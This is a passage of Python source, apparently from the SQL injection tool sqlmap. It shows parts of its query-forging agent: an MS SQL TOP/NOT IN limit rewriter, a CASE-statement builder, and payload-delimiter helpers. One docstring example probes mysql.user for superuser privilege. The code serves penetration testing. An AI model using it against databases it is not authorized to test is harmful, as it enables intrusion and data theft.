|
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
|
startTopNums = topNums[1]
|
|
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
|
forgeNotIn = False
|
|
else:
|
|
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
|
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
|
|
|
if forgeNotIn:
|
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
|
|
|
if " ORDER BY " not in fromFrom:
|
|
# Reference: http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command
|
|
if " WHERE " in limitedQuery:
|
|
limitedQuery = "%s AND %s " % (limitedQuery, uniqueField or field)
|
|
else:
|
|
limitedQuery = "%s WHERE ISNULL(%s,' ') " % (limitedQuery, uniqueField or field)
|
|
|
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
|
limitedQuery += "ISNULL(%s,' ') %s ORDER BY %s) ORDER BY %s" % (uniqueField or field, fromFrom, uniqueField or "1", uniqueField or "1")
|
|
else:
|
|
if " WHERE " in limitedQuery:
|
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
|
else:
|
|
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
|
|
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
|
limitedQuery += "%s %s)" % (field, fromFrom)
|
|
|
|
if orderBy:
|
|
limitedQuery += orderBy
|
|
|
|
return limitedQuery
|
|
|
|
def forgeCaseStatement(self, expression):
|
|
"""
|
|
Take in input a query string and return its CASE statement query
|
|
string.
|
|
|
|
Example:
|
|
|
|
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
|
|
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
|
|
|
|
@param expression: expression to be processed
|
|
@type num: C{str}
|
|
|
|
@return: processed expression
|
|
@rtype: C{str}
|
|
"""
|
|
|
|
caseExpression = expression
|
|
|
|
if Backend.getIdentifiedDbms() is not None and hasattr(queries[Backend.getIdentifiedDbms()], "case"):
|
|
caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression
|
|
|
|
if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
|
|
caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
|
|
|
|
return caseExpression
|
|
|
|
def addPayloadDelimiters(self, inpStr):
|
|
"""
|
|
Adds payload delimiters around the input string
|
|
"""
|
|
retVal = inpStr
|
|
|
|
if inpStr:
|
|
retVal = "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER)
|
|
|
|
return retVal
|
|
|
|
def removePayloadDelimiters(self, inpStr):
|
|
"""
|
|
Removes payload delimiters from inside the input string
|
|
"""
|
|
retVal = inpStr
|
|
|
|
if inpStr:
|
|
retVal = retVal.replace(PAYLOAD_DELIMITER, '')
|
|
|
|
return retVal
|
|
|
|
def extractPayload(self, inpStr):
|
|
"""
|
|
Extracts payload from inside of the input string
|
|
"""
|
|
retVal = None
|
|
|
|
if inpStr:
|
|
regObj = getCompiledRegex("%s(?P<result>.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
|
match = regObj.search(inpStr)
|
|
|
|
if match:
|
|
retVal = match.group("result")
|
|
|
|
return retVal
|
|
|
|
def replacePayload(self, inpStr, payload):
|
|
"""
|
|
Replaces payload inside the input string with a given payload
|
|
"""
|
|
retVal = inpStr
|
|
|
|
if inpStr:
|
|
regObj = getCompiledRegex("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
|
retVal = regObj.sub("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER), inpStr)
|
|
|
|
return retVal
|
|
|
|
# SQL agent
|
|
agent = Agent()
|